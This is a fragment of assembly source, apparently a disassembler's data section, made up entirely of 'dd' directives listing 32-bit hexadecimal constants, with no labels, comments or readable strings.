		dd 2EB9656Eh, 1E52CE0h,	0EEB9EA4h, 93FE70EDh, 8ECEDA00h
		dd 1F5BAD83h, 0CF8A0B46h, 544447EBh, 0DC1FFF4Eh, 2B03AB90h
		dd 0A74F3F95h, 8C0C382h, 730915BDh, 0ECA690F0h,	127472F8h
		dd 0B0CC53DFh, 2F40D0D0h, 51397012h, 302B1496h,	0A404B36Ch
		dd 8B9CF700h, 0D36168BEh, 148BC75h, 0F0DD7CFEh,	50286710h
		dd 0F6741644h, 0EB65309h, 3C3C04D6h, 0A47ECE04h, 4E241290h
		dd 1127E442h, 0FD085A60h, 4A28490h, 0C8068C48h,	81F53A06h
		dd 2EB17246h, 0AC7CF86Eh, 0A3660551h, 4864F09Ch, 6E087E0Bh
		dd 0CAF0C039h, 0CA29570h, 0C80BD98Ah, 8225759Ch, 50B03C44h
		dd 0D5F9DE00h, 7DE49C90h, 5932038Ch, 0C965BF57h, 445C0892h
		dd 0AD584500h, 90BE5E16h, 0FEB70144h, 26041BBFh, 0E612CCD7h
		dd 8E4777Ah, 6E45F715h,	0B5DE84B4h, 41DC58B4h, 91CCC497h
		dd 0CCB60DF0h, 6F472C01h, 18644629h, 5AD27965h,	49C467DCh
		dd 0B6585C52h, 4BEA8428h, 5D84CCB8h, 0A1024080h, 1ED0E75Ch
		dd 80594569h, 78658374h, 67165010h, 8A018C02h, 249789D5h
		dd 0F0986CE0h, 0ED7409CDh, 68988A82h, 2125456h,	35094266h
		dd 7830E645h, 0B16B00F1h, 0BADE3CEBh, 0B600DF23h, 0C139E75Dh
		dd 4ABB96CCh, 7F0480A6h, 35F488D6h, 1CD0FE12h, 88902874h
		dd 5C7CF7A2h, 9018C882h, 3A46084Ah, 3BE80709h, 6C8C80DAh
		dd 304350DBh, 9B5860C6h, 0BF005BD9h, 15C0E59Dh,	0A21B96C2h
		dd 0C5A8689Ah, 3FD31969h, 68A614C3h, 17F4578Ch,	880BC27Bh
		dd 0F068D0FEh, 2C89892h, 0C679D2E7h, 80D0D7DAh,	0F8A269F6h
		dd 56170059h, 1D00F0h, 2BB10F1Ch, 0D619729Eh, 0C5EA2504h
		dd 18E88B08h, 0BABAB61Fh, 6126E4D2h, 0F0996434h, 0B95BFEACh
		dd 0EC03F00Bh, 3A689148h, 127E2491h, 1022C3FBh,	0D248633Fh
		dd 0C4904BEFh, 0BFE250A0h, 65FD1480h, 0ED17196Dh, 283442DBh
		dd 0E53DC8F3h, 0D1830F13h, 93F7F2A0h, 0EC1FC169h, 0AE6E7B03h
		dd 40405C60h, 50582C78h, 4EBD80ACh, 7E59799Dh, 0AD7B9000h
		dd 0A95E170Fh, 261C914Dh, 85EC1388h, 5C4CCBD0h,	4C104A38h
		dd 0F84B8C70h, 0FA17784h, 0DB2211E6h, 25A63080h, 6E0B01CFh
		dd 0C8FEE499h, 16C939B8h, 446A65EBh, 0B821C528h, 0A3FF50D8h
		dd 28C76E1Ah, 91071B8h,	0AC01F37Bh, 81ADB8D3h, 0C9B94778h
		dd 133A27DAh, 2EB00274h, 8098FEB1h, 0CA8020B4h,	9CAB5090h
		dd 0C84F2085h, 0A1686C00h, 1A6DF453h, 82C9804Eh, 5E7B02F6h
		dd 0BC14E25Ah, 20F847A4h, 43A075FCh, 1682121h, 0AE5E72DBh
		dd 63E460F9h, 1118F760h, 331C6723h, 0B88A1B5h, 0BFBA5007h
		dd 0B80C346Eh, 7D92582Fh, 75DAA50Bh, 1B006CF0h,	512B5DFh
		dd 1D1C3FC5h, 57AD16h, 9A7D4F11h, 0C802DF70h, 666E191Bh
		dd 84F8AA46h, 0C4571562h, 0CE9D0528h, 0A16C3A1Ch, 0F45CC6A4h
		dd 0C44F6F8Bh, 0B24EF038h, 0E35A54h, 412F118h, 0E2030AB6h
		dd 68351DAh, 90EBBF6Eh,	0EE6A168h, 0BB743233h, 8813D0A0h
		dd 461675C1h, 0B700C9AFh, 0F68CE095h, 0D55C0045h, 0D3814340h
		dd 90A8FED8h, 8D123BEDh, 0B4560C23h, 0E835CC5h,	35C03BF5h
		dd 0E861F9ADh, 147C701Eh, 3C243CB0h, 202806Eh, 0D9B2D5DFh
		dd 182B2DA0h, 4C51DC62h, 6E6C814Bh, 212B19E0h, 63DD0170h
		dd 71C01258h, 3C24B002h, 0EB886018h, 3693A9Eh, 0DAB8DC09h
		dd 41C35C18h, 484C3C96h, 0DF9D07CCh, 490803DEh,	0C5008029h
		dd 5B7A65A5h, 303CB8C0h, 1D8740DDh, 0AF57D378h,	3D6EE801h
		dd 0DA602424h, 0C94A54Dh, 0C06150E7h, 2D9D246Dh, 8BD3E194h
		dd 3828ACAEh, 0AF6B540Fh, 0B7012386h, 1679E099h, 40849636h
		dd 0E3FE8893h, 0B8B0266Eh, 5B9AEDA0h, 3C60205Ch, 130011DFh
		dd 7DE8D083h, 9991A74h,	885DCD89h, 0E36C8755h, 34A400CBh
		dd 3C53A490h, 0FD077E63h, 40C8E775h, 57C61674h,	2065E40Ch
		dd 1439C086h, 0D814045Eh, 8C77DECFh, 43265DC0h,	0C953A8ECh
		dd 222EE38Ch, 0E8901D24h, 5000D5E5h, 0A6561CF7h, 2F555E80h
		dd 0A494C5DAh, 49EEFC20h, 932970E6h, 748808F8h,	9F3C3305h
		dd 0BB0138C1h, 43FB5E10h, 820BA57Fh, 9E7FE87h, 3CE4707Dh
		dd 1C5D6E1Bh, 49149D2Eh, 0E6102C78h, 287902C0h,	50588B7Eh
		dd 2901B8E3h, 80C036E4h
		dd 90925F5Bh, 0BC625E03h, 0E09610C1h, 2E7F0218h, 324F59Bh
		dd 4D82757h, 663951E0h,	58FE9130h, 0B87A14C7h, 0B8EF6132h
		dd 6280DB6Dh, 11444004h, 2BAF6E10h, 7162CE3Ch, 4624650h
		dd 879FF471h, 1827D20Dh, 9016C021h, 0FC8C20F0h,	0AAE7CE01h
		dd 2CA6726h, 8C24DDD1h,	0D0BE4EE5h, 235B11F4h, 8476D325h
		dd 90D18488h, 0E0301AFCh, 4EC5251Bh, 364CF466h,	0DF1B0BCh
		dd 1185055Ah, 0C75FB032h, 0F0D0E317h, 375E8FA0h, 75DCD24Dh
		dd 47B5E600h, 7D4886C8h, 0BB8C007Eh, 25D742F7h,	460103A1h
		dd 0D9FAEA60h, 4C59AC9h, 95373C34h, 3404FC0Bh, 3E88A680h
		dd 5E418E89h, 0C9C84975h, 0C2C0CDB8h, 2EFF25C9h, 2A2D6C44h
		dd 3D7C0059h, 0EE95FDEAh, 0CBE5C02h, 7DACE0D3h,	0F2C2C741h
		dd 965C0308h, 4D9DBD2Dh, 0CAF5C9C3h, 0B1D3098Ch, 862827A4h
		dd 0C1E62BA2h, 24F863D1h, 5892C6h, 0A7B98221h, 0CB68C2ADh
		dd 3BD0E501h, 468FAA0Ah, 0F5E25EF4h, 16E35080h,	0F646D45h
		dd 0CBFF3600h, 0DE5E9046h, 3440BCB6h, 735C0840h, 69972A0Ch
		dd 64CA860h, 43F094ADh,	0ABE867FBh, 9CB6DA8Dh, 4808BF14h
		dd 133E7E44h, 4A4EFF64h, 71E758A0h, 4D58C9B4h, 987AAC09h
		dd 66D1BD13h, 7D1CC8B4h, 0E627436h, 0D325DF06h,	861E6D02h
		dd 5E18C06Ch, 0ECC0D679h, 8D6906E6h, 0BE37E4C8h, 0C0F44CABh
		dd 0F096CE3Ch, 2861BA00h, 0E3CF8BFEh, 5C852865h, 0F04061E0h
		dd 0D831901Bh, 0D760A4E7h, 3A5D9BA1h, 48DF7C12h, 9C011842h
		dd 33771C8Bh, 14042E69h, 1EFC666h, 814184A4h, 67B04325h
		dd 859D04E1h, 803D4B48h, 27D348E0h, 0DC8B96F6h,	0ED3524EEh
		dd 54801160h, 60106E66h, 91CF1054h, 7CBADF67h, 0A15E300Ch
		dd 3C02E0EBh, 0BB2C9868h, 0C1FB808Ch, 0BA10CE9Ch, 2831AE3Ch
		dd 3050869h, 0B4D2DAB2h, 5413B402h, 0B998CE63h,	3CEC0B8Ch
		dd 0F76D9468h, 924944Dh, 583165EEh, 84D55CE8h, 7833B022h
		dd 78ADD85Dh, 0A45825BEh, 0B0F090C4h, 0B67421C0h, 5357AC5Eh
		dd 184C34C8h, 0C4E8EB08h, 4FB8A114h, 0C08C4835h, 0AE5D1D9Ah
		dd 5391D7B1h, 500C18FCh, 6E388A93h, 14314A9Bh, 0E43D354Ch
		dd 9C44CA27h, 0D8E1E088h, 0C1F8139Fh, 0C205AD4h, 9CE45937h
		dd 24C36D0Bh, 25764880h, 1C7461EDh, 0C938E2B5h,	0FC437A54h
		dd 70F82A0Bh, 889A00F0h, 0FDE97C91h, 0C67C19D5h, 35A4D317h
		dd 0D437B0C2h, 577CC3E0h, 0D0467830h, 6312E4h, 73CA39E7h
		dd 4A90E23Ah, 3389FB03h, 0B70AECh, 0BA6CC111h, 5CC63DB4h
		dd 5D4C01B7h, 60335BEBh, 0FD259059h, 0AB584B8h,	0A6812494h
		dd 2FCCE8Dh, 94400C3Ch,	0D4C459B2h, 280EFA18h, 0CD1D9DBBh
		dd 948E02A5h, 0D54DC012h, 4DDDDF5Dh, 0FE3CB08Dh, 0C858300Bh
		dd 0FD027073h, 71E7AEDEh, 81123C3Ch, 101CE37Fh,	8B0F1DFBh
		dd 0BF0B6E87h, 46FE4085h, 119D5BE4h, 3265D312h,	6231BC43h
		dd 72DEB0BFh, 0A7021637h, 7CDF00A4h, 0FFAD7E9Ah, 0C3EBA82Eh
		dd 0DB928F05h, 3420DCE5h, 0A59A1E03h, 5B42679h,	80203B15h
		dd 0A368CB4Ch, 7DF52B03h, 0B84DAB96h, 0BC3D5DA8h, 6C0202B4h
		dd 20E09EECh, 4D80CEE3h, 176112A4h, 942CF2FEh, 5CC82274h
		dd 0F01944Dh, 35EB284Eh, 0C51980ACh, 0FED5B36Dh, 0CEBCA8CFh
		dd 0DEFB2CDAh, 888C9704h, 795CFEB8h, 0DB0400CCh, 668D68CDh
		dd 88D261FAh, 2BD341B5h, 48AE5092h, 0D6D5C8C8h,	0DAF40211h
		dd 54426D4Fh, 8B860C0h,	74DD0345h, 0ADD034h, 0FEED8F56h
		dd 0D9028316h, 0D7AA6212h, 5A48F8B0h, 0B59C42DCh, 4C609DBAh
		dd 68BA1110h, 36502804h, 0C0E2D2B9h, 0C8C2E785h, 9FF866ACh
		dd 0D3102195h, 4824A2A1h, 0FF88FE8Ch, 44904F2Fh, 0C6900012h
		dd 29C3FB53h, 23D9413h,	30AAF80Fh, 4B65E709h, 4C0704F0h
		dd 0D202E94Fh, 0B2E2F870h, 98504C5Dh, 50C4C450h, 11805Fh
		dd 0BD866722h, 0A6292E9Eh, 7B7AAC7Ch, 499A0200h, 0C2C01D05h
		dd 79BF0766h, 30E5CE77h, 555A7887h, 677E3100h, 1716F0FDh
		dd 0D920205Eh, 6CA6D49Ch, 1513DD10h, 3B80C039h,	6509A0FEh
		dd 5181A59Dh, 200C2028h, 0BEA442h, 9A9B1889h, 0ED84C50h
		dd 0F9E7C0E5h, 79F8887Bh, 0F10907BCh, 0A02DDACCh, 6272BEC0h
		dd 0BBA132FBh, 0AC601A24h, 21FCC228h, 6E697B04h, 41BF1738h
		dd 9E596800h, 3338201Bh, 5E65C512h, 71012C49h, 0C212B908h
		dd 411453A6h, 0DF7F0BFCh, 0C7BC8D6h, 90BE7CB0h,	4AA0B342h
		dd 0EF987EBCh, 20C80036h, 0E45DA3C3h, 13DD4BCh,	0D351D66Dh
		dd 0D440601Ch, 90427265h, 43089400h, 0CCE1C29Dh, 5DE6E005h
		dd 0F49F5327h, 0F2840748h, 0E9B40F7h, 0F81F7AB3h, 220CDD29h
		dd 0F258C85Dh, 17D70030h, 0F34BAA67h, 80E44E52h, 565FEA00h
		dd 12BADC9Ch, 0A8880160h, 0CAE77186h, 1A0C4EEh,	9CF89Fh
		dd 0F915545Dh, 0E09CB29Eh, 84B2F28h, 37273598h,	9D20FCE2h
		dd 7AB5039Bh, 880062EDh, 0A5664BF7h, 61C34DBFh,	3CC550B3h
		dd 1330801Ah, 0BD63EA88h, 664131BFh, 0BE3A3908h, 37516090h
		dd 0CBD413C6h, 0B88011F0h, 0CEF41FDEh, 5033B530h, 1D03865Ch
		dd 0CEAC516h, 0CEB82CC0h, 20CAE130h, 0C926FD3h,	2E54C6BCh
		dd 9F001B78h, 811A3309h, 0DF95A367h, 0F0790F28h, 5056B879h
		dd 0AE199F68h, 0B511E400h, 0EC011A9Ah, 0BF6E06EDh, 3043237Ah
		dd 0C6B09C06h, 148E75Ah, 35A7CCEFh, 0FDCEEEE3h,	5F608025h
		dd 96C9F7Eh, 498418B5h,	75D2A90Ah, 0EE59A00h, 453BFA8Ch
		dd 234F03E9h, 0D8C4EF49h, 0E8F77AC8h, 0B70090DDh, 0CF37B501h
		dd 58326216h, 0A081AD63h, 9FC2EF45h, 9C01980h, 3AF27766h
		dd 0CEB7039Ah, 59E741E4h, 0D16C0295h, 786384EFh, 0E9719AC0h
		dd 6EEBB404h, 308896BDh, 17A4A11Eh, 1A399840h, 1831E8A7h
		dd 0F85D617Ah, 5E00C592h, 7C3BA580h, 0C366F208h, 0E947B1E0h
		dd 9EC0F4DBh, 0F171FDA7h, 86B47918h, 14CFCC38h,	0B417A3C6h
		dd 9D70373h, 3ABFB568h,	0E9A005C3h, 0F7614AC5h,	0A26780D1h
		dd 497AD44Ch, 3C1880E4h, 0C969C0C1h, 2249501h, 0CF944801h
		dd 0BC108271h, 50DC9F55h, 7C7480BCh, 7191052h, 0C0813ED4h
		dd 3EF7E212h, 38F4B203h, 1112FA24h, 6E442087h, 8414B4E1h
		dd 1DC35E3h, 0A4EECB16h, 0E1F73BD7h, 188367ACh,	367C5E43h
		dd 0EBDDB412h, 0EE2E00EFh, 2653DE0Fh, 5F58EA64h, 12300025h
		dd 0E4060186h, 84CEC50Ch, 31B8A3h, 8E2C714Eh, 0C4DB1C9Ah
		dd 1640E207h, 0E594565Eh, 0D4C39200h, 0CB795C6Eh, 0C059E600h
		dd 66A3A0E8h, 0CDB700A2h, 9091F216h, 8A0CA67h, 8091CF1Bh
		dd 0F454E1C0h, 0CDD00252h, 0B3E4C62Eh, 9BFC0A0h, 0CCA19560h
		dd 9D02639h, 22ABCA4Dh,	33E30ECh, 3040AF1Bh, 0CC0066BCh
		dd 0EF9BAD31h, 17193B1h, 6EEEB519h, 415E12C0h, 40A06624h
		dd 5A9AE344h, 0F6280178h, 0F709BC74h, 2C2204CEh, 90708878h
		dd 0F29A3884h, 38842C05h, 0A1E401C0h, 0C8890B69h, 6700545Eh
		dd 0C4A5B2CEh, 18EC38BFh, 70DFD01Ch, 0A73644E5h, 0A4B0E1FFh
		dd 58674C3Ch, 95A16805h, 1BD80A2Ah, 1A430980h, 52C68401h
		dd 0C4388999h, 0F78C03B7h, 79881326h, 1C7C4E0Ch, 0E1E4F960h
		dd 8905DE0Dh, 12012226h, 9E68FC30h, 3988F795h, 0F51F0C7Ch
		dd 1C92C601h, 0A980E1D2h, 0CEBFCD65h, 10C0B517h, 0B0EE2C99h
		dd 92D60B3Ah, 0C400D4BBh, 87EC3CABh, 0F19E61E7h, 8445C494h
		dd 4C7CE424h, 0F72E4B03h, 0A336A3F9h, 3233C3F0h, 0E89912B8h
		dd 0E73B802Fh, 0C1682184h
		dd 5EC64438h, 47EC4036h, 0D5380E01h, 76CE8BECh,	551024A0h
		dd 0C11C18C8h, 4D0DCB50h, 988EDA03h, 38A7E8E1h,	66DC4106h
		dd 30E423C9h, 70F479BAh, 1EB400F9h, 6991E1AAh, 5713603Fh
		dd 0BC016C9Dh, 0F7010A26h, 82190FDh, 48368020h,	2E0C8473h
		dd 9C819D4Ah, 24ACB360h, 600EC6CBh, 8511B813h, 0E73F5894h
		dd 7AB605FEh, 0B8003F6Dh, 0C173D01Bh, 0ECF2670h, 7D5E8AC4h
		dd 5241368h, 90167AF8h,	0E3CF5CACh, 9D55E203h, 0EAD86EB4h
		dd 0F1BCC1AEh, 5EC8318Bh, 401ED019h, 9C719E4h, 917C9A50h
		dd 94718526h, 0C26EF004h, 9966A898h, 38179874h,	0AF671839h
		dd 351F7A08h, 10AA24B4h, 8450214Eh, 0D84014DEh,	99FA9Eh
		dd 0AA94F98Ah, 0C1F0D4A4h, 5E3F6312h, 65F6ED00h, 0F0A69C96h
		dd 8408A07Ah, 50F569DFh, 0DC0574A9h, 134409A1h,	0C5658482h
		dd 0C7704440h, 92183A80h, 21146A80h, 96360C9Ch,	3F0BE0AEh
		dd 2021447Ah, 0F938C390h, 102C6413h, 48AC8224h,	84186464h
		dd 0A6C02B6Fh, 40975CC6h, 833FA800h, 0F66A0E39h, 0EAAC6E01h
		dd 6A6A3F1h, 2EC664F0h,	0A10CCF03h, 0D0CE84A0h,	1C4204C0h
		dd 1A2D4080h, 664E127Bh, 0AA85605h, 4EA0A234h, 6D048E81h
		dd 0FE2DF0ECh, 9CA7BB01h, 8095C6CDh, 1CE96083h,	3BE024D5h
		dd 7A1832F7h, 0C8C9077Ch, 803D72C6h, 0A4B065B9h, 0A4A064A4h
		dd 188141BAh, 284B6434h, 20A49D68h, 0A898B544h,	0C0DD9330h
		dd 0A06840F5h, 146638B4h, 54A91C74h, 2C52C458h,	1C74222Ch
		dd 0C6A787EDh, 9E676094h, 4B00CF8Eh, 0D9CD825Eh, 4963C243h
		dd 3448A0E5h, 2B401326h, 0C834A4D8h, 9A4B008Ch,	0B6CEF6C7h
		dd 66D08150h, 0A6036E11h, 50096476h, 54DB23EAh,	87F81CB0h
		dd 0CE70EC2Ch, 280C6034h, 54F07A36h, 0F007A8A2h, 0EEDBC008h
		dd 0D7403144h, 1349019h, 0BBBD3E98h, 70661224h,	0F0099BEh
		dd 0AF63C867h, 3C87F0F6h, 9230696Eh, 0E4D49848h, 88C6321Eh
		dd 84E00CA0h, 99C80C41h, 0DB43E603h, 0C1E9C015h, 0A47168BEh
		dd 19946008h, 1148CEA4h, 56749937h, 0C04526A8h,	1650CC83h
		dd 1170F310h, 7909FC6Ch, 10286507h, 22F813BCh, 68C9EF50h
		dd 94A0431Ch, 0AC1B692Eh, 0C2CC5E14h, 0E6ECB803h, 4DF0003Ch
		dd 4E1AA540h, 882E623Ah, 731D042Bh, 8E96EB8Bh, 0E9978010h
		dd 0A79661Fh, 7287CEF8h, 290A01E0h, 60EC7CB9h, 5746EF0h
		dd 0A666E800h, 0E0F3F99Eh, 0ED840751h, 0A0C5525Dh, 0AD9CFB31h
		dd 1EEA3600h, 6579DFA6h, 68E9C083h, 5C8495CCh, 48A45051h
		dd 313E3C68h, 12DB18F0h, 0C66618h, 5C97C545h, 9E3F68C2h
		dd 5C4765Ch, 571F7AB2h,	44AB9492h, 160F4040h, 0CE1F3090h
		dd 77FC0111h, 0A270DC40h, 0F67C4C9Ch, 10F94954h, 47F4E282h
		dd 2B5E3CC0h, 0D1F00600h, 0B4D5C066h, 10E84801h, 0A41850h
		dd 1202A1E6h, 0E0BFEC8Eh, 390F1C05h, 44989FB5h,	14042AF8h
		dd 186C98E4h, 100E4C7Ah, 1E728654h, 0AE1E0A7Fh,	0B6C06C88h
		dd 6BA98C12h, 0CF7A09E1h, 44A028A6h, 0B7EB013Eh, 4BF1021Eh
		dd 80C2E28Eh, 0DC1CF723h, 0E0C44866h, 0BD16CB08h, 8C698700h
		dd 748B9243h, 0B8961844h, 0CF731041h, 6C009E4Ah, 7728999Ah
		dd 8DC20027h, 0F563DE44h, 1C2EBC6Eh, 0CE42C0B7h, 65D0E990h
		dd 669ED442h, 57C7228h,	9CDCC344h, 0B98C4B0h, 0C8B1F408h
		dd 0C6508517h, 0A882378Fh, 84071F8h, 6609EAAAh,	8AFC19A4h
		dd 96CD63ECh, 0E0CE41ECh, 352080DFh, 0D0139392h, 24D1C01h
		dd 49D3D7C6h, 0BC8F23FCh, 0F613FEC8h, 3E13443h,	68692E3Dh
		dd 6D840420h, 0BF48D071h, 0A0B15D12h, 0AFC99F90h, 0AD062C68h
		dd 41D17A14h, 0E9A01AE0h, 0CCCC4931h, 0E8C382E3h, 80CB72F0h
		dd 43025D11h, 0CEE7100Dh, 94BCA063h, 0C28E4D1h,	715CBA3Eh
		dd 0C7308440h, 337B50F8h, 0CD824F9h, 794E631Ch,	20EF21D1h
		dd 9A054A78h, 0BCC64D5Bh, 791BA44Ch, 89D5520h, 2D1AE010h
		dd 446B24F0h, 813E9284h, 89536DCh, 25583079h, 0D09DEB70h
		dd 30CDA400h, 2484690Ah, 621A04A9h, 0E08D76CFh,	0FC9B5934h
		dd 0CE04CCACh, 5E12A414h, 0EBF30CE8h, 0F478C111h, 0C2EEC20h
		dd 58627A3Bh, 7EB0FA70h, 80B24870h, 64438909h, 50D04AC5h
		dd 0F6E700C8h, 84EC3C38h, 0DCA05F36h, 0E90A3135h, 0E4461C03h
		dd 54139CA6h, 97FC88h, 0F3F5AE8Fh, 0E4C85CDAh, 0EE7D5100h
		dd 0D01C6BD3h, 7BDB2EF1h, 6080396Ch, 0A0C20EA4h, 5D3B1986h
		dd 0E6AD85E8h, 8008758h, 0CEF5EEC5h, 881E4806h,	0E1DC0BDEh
		dd 0C4401892h, 0CA40EC45h, 6010C119h, 976E9F7Dh, 1C30F0D0h
		dd 99D1BCC5h, 0EAC68640h, 0D20910BEh, 9260F284h, 967CEE90h
		dd 8FC26D0h, 0FA07E72Bh, 0D04A25CEh, 777DC606h,	9B0B128h
		dd 0BC0503E8h, 249C8110h, 7BDD000Fh, 5FD1011Ch,	67E8FBC0h
		dd 0C6067BDh, 60C26279h, 0C4E600F6h, 86F73296h,	3776F897h
		dd 74204E4Ah, 16923AD0h, 1BC6406Bh, 0FC0187Dh, 0E300E10Ah
		dd 9B1BD556h, 638E6C0h,	0FDCEA3B5h, 989468C8h, 0C6370160h
		dd 40A3616Ah, 0A6EE08F8h, 19018461h, 0E6C63874h, 3EC2182h
		dd 8E8E2CBh, 580B4C8h, 26C496EDh, 58F053C8h, 3F0909D5h
		dd 8B48E6B4h, 843C23D8h, 0B81CF50Eh, 0C733E180h, 3B68DD18h
		dd 0ECECEEDh, 1BE710A8h, 5E91D2D1h, 20CC7061h, 0C0831F48h
		dd 1F3DB6CAh, 2492688Ch, 959D1064h, 36F0D898h, 0B79F30C6h
		dd 3BFAE498h, 0D04D5CF0h, 49B2401Ch, 0E7024501h, 4FB7AA7h
		dd 26CEA064h, 80C0DB7Fh, 1EEC6383h, 0BB00C495h,	9269637h
		dd 39CD4AFh, 0BE1C0AD5h, 80A420B7h, 0F8E53218h,	9A6B1096h
		dd 29C717Ch, 17AA7A39h,	391254E9h, 7043933Ch, 482884h
		dd 0B8ED11F8h, 0E2ECEA63h, 21CDE1F9h, 1C302044h, 0FB4F171Dh
		dd 6B564040h, 601584F7h, 0B06D381Bh, 2A60147Ah,	3ACD9C68h
		dd 0F3400196h, 0C584CA04h, 18203961h, 0B8B0E1BCh, 90390073h
		dd 0DBB19995h, 9A30845Ch, 54E498E7h, 4C3809ADh,	7C006436h
		dd 0C1027A79h, 0CEF9B8C1h, 0F8891D0Ah, 94A17044h, 966F9479h
		dd 14122280h, 34A3004h,	2DA52003h, 85B82CC1h, 8F453BD0h
		dd 0BCED9C45h, 0AC8A1EC7h, 0A7A3A05h, 74049852h, 2C051520h
		dd 7C00A212h, 18BB9930h, 2E01F608h, 0AC14F171h,	248E0890h
		dd 30A79900h, 7A665F44h, 0B11B03A8h, 5B0D7A34h,	9E522002h
		dd 0A0C909C6h, 1D6084E0h, 0CEEA0C73h, 9D60D4C4h, 0B8F07672h
		dd 1086F4Ch, 0CF89C243h, 5434BCBDh, 909F5492h, 0F1E34081h
		dd 0BE34A305h, 20C00186h, 2153D61h, 0C63AE991h,	3C68F1E4h
		dd 0DEF03979h, 50D4B959h, 6800D30Ch, 6A0EE122h,	80690284h
		dd 8226C641h, 9582448Ah, 60D3B7DDh, 3E1E2C4h, 50515354h
		dd 602637A1h, 0E9025009h, 81DB6484h, 0ADD4EB8h,	0CE822C2Ch
		dd 7C442707h, 0BA208400h, 0D0AC1CF4h, 4BF3260Dh, 48111B3Ch
		dd 0C3496298h, 0EEDE2702h, 53D71CD6h, 0C8833C90h, 5F1BF11h
		dd 72A5BE0h, 0A8F8377Ah, 3C635207h, 0F94CC6AEh,	0FE683AF8h
		dd 0BC9EC858h, 0C1953580h, 7A182DD3h, 803E7B2Dh, 0A7BF04FCh
		dd 0BB1603C5h, 68D624ECh, 9144DCBCh, 2E3E6203h,	24D4677Ah
		dd 0D74F558h, 42A18FAFh, 0BC4C362Ch, 209E6628h,	0DD3FF83Fh
		dd 22398E10h, 40E8A41Ch, 3F47F8F0h, 5C00C9A6h, 0DD11EF5Fh
		dd 84F0C5E6h, 787008A1h, 6B081024h, 6D454B00h, 0D571CEF6h
		dd 7E322492h, 324109Fh,	6CC17B5Fh, 78A868F1h, 35DE840h
		dd 8557837Ch, 5EE1EBDAh
		dd 4018870Bh, 8282CD90h, 3444416Ah, 143DA861h, 0EECC6E00h
		dd 0E23CDE9Ch, 0F490D8B4h, 0C0B2C4h, 0CD24E83Ah, 21584F5Eh
		dd 6CE1AD8Ch, 0C5A6C0FCh, 485984A1h, 0A70B20CEh, 0B80199BDh
		dd 0F1CB9674h, 668C209Eh, 0C781D200h, 601222B5h, 9147F27h
		dd 6EFECEFDh, 0FC609829h, 0F658DE45h, 4031C9D0h, 59B1C68Ch
		dd 8600A822h, 23E12E93h, 521665BEh, 8409984h, 0EDB3F86Fh
		dd 11BF006Dh, 8FDBE95Dh, 9F09679Ah, 83012194h, 8758CB38h
		dd 80192583h, 0CC823E3h, 0E49E535Dh, 0A8371B30h, 628038E0h
		dd 3A40BEACh, 74739467h, 32CF00A0h, 0CDB0DFF5h,	28C5E5F0h
		dd 2000545Ch, 1AFFE929h, 420807BEh, 41AD509Fh, 0E03EB7F8h
		dd 0C5F8A619h, 30726437h, 0DA4D7D80h, 0C448C2DCh, 0C00FD5F7h
		dd 6CEA7857h, 73CD18EFh, 0E32520F0h, 0E35548h, 0C7B5AF29h
		dd 287D61h, 599D5B5Dh, 0D81BF09Ch, 6ACBE001h, 7DADC53Ah
		dd 14EA509Fh, 43076CA9h, 0C0E5111Dh, 3008C618h,	0AA50B4B0h
		dd 7C505C10h, 47812368h, 0A99B0841h, 70CD8858h,	48C16310h
		dd 6FE3BC0Fh, 0D691B480h, 7B64418h, 7108AE69h, 3B833F2Ch
		dd 92998F83h, 7FC1680Dh, 6D7894F5h, 0F32050E0h,	438E703h
		dd 0E485C5h, 1C754978h,	0A58B62Ah, 7341A407h, 0B00CB0CEh
		dd 49782Ch, 59B47407h, 1CE64F89h, 0E9AB0E00h, 0ADAAAC1Bh
		dd 22FB0181h, 2ACE7187h, 993881A1h, 532AF83h, 4391D4h
		dd 628B7F5Dh, 0DF9BCD5Ah, 0BECC671Dh, 303028A4h, 1992B139h
		dd 10E9CBCEh, 0CDF8C45Bh, 5C80AA7Fh, 419E0C57h,	467896C1h
		dd 314C950Fh, 9506965Dh, 118BB14h, 0EEA4AE44h, 81B6DCC4h
		dd 0CE5F18E0h, 4881F264h, 89E1F2Fh, 0E8B4425Dh,	0F06F6448h
		dd 6DEAB305h, 0C82095BCh, 9013FB83h, 654C18C0h,	0A46440F7h
		dd 9196BE02h, 9CE3F79h,	0A5272C00h, 0E8247015h,	0C4C208B3h
		dd 0A7B4AFDEh, 50ECF183h, 56C30365h, 0F8352DF5h, 0AC3806C5h
		dd 0A3302164h, 0D6161992h, 0F6380E08h, 0F414116Dh, 1BB34710h
		dd 2808CB66h, 80D728h, 0DF918B79h, 34F988DDh, 13312D79h
		dd 35F260DAh, 0F8BE04D1h, 506784D4h, 40D5C4B4h,	7E095C15h
		dd 0E22518h, 0C4DBD648h, 5F4224BEh, 98CD1DC4h, 795C707Ch
		dd 3E65532Eh, 35AF2200h, 24B6D90h, 4D5DB836h, 989BA094h
		dd 0C13BC5F8h, 9010A8C0h, 12CAD79h, 0EECBE667h,	0BF667D83h
		dd 11BA80F8h, 8A306168h, 0CA6502FAh, 0D2E46E0Bh, 0F248B860h
		dd 0A59F8B1Fh, 0D31B9800h, 630777h, 1E7E5D2Dh, 0C31CA80Ah
		dd 913AD500h, 879D668Bh, 65413F8h, 0FF2B04EEh, 0F14C1C0h
		dd 0E9F8889Ch, 87DC00B4h, 0BDD40DF9h, 0AB7EF5FAh, 0E643C8F1h
		dd 805E20CAh, 9444A03h,	0BE32F3A8h, 0A0665018h,	94C82065h
		dd 4430C8A4h, 25781190h, 8FDC0631h, 18304C02h, 0B3E06D04h
		dd 8902783h, 93C7A5h, 10E3D05Bh, 0AB451385h, 2E2ACDF8h
		dd 0B1C5A4FDh, 0C0016641h, 3B9E7F5Fh, 48EEE849h, 801F48A8h
		dd 5830792Eh, 0D11B7847h, 8027E9E0h, 1D100992h,	0CA105C04h
		dd 5E8309F0h, 1824A4FAh, 145704C0h, 0E5A2006Bh,	0BC9BEFD3h
		dd 0D2020209h, 1378E4BFh, 246867BEh, 0CC62C484h, 0FFFE8368h
		dd 5D3D18C0h, 3EFD1782h, 6415CB61h, 3A8C9826h, 0D5066C29h
		dd 0DC4CF4EBh, 90035051h, 8C0906Eh, 9589CDEAh, 2242631Ch
		dd 0E01BC5C2h, 0EA4DDB76h, 0A5CB3C24h, 505FAB80h, 84DDCEAAh
		dd 0C138319h, 28203E70h, 72201228h, 8D3400A9h, 4F6F9B2h
		dd 0E9835E0Dh, 0C19D286Bh, 8F9C47A9h, 132DB0CEh, 6448E986h
		dd 9434009Ch, 313FC9AAh, 70603119h, 8304D8C9h, 0B4C53640h
		dd 1098000Fh, 0AD3C9867h, 0D10365EAh, 44F9D57Dh, 5B59E011h
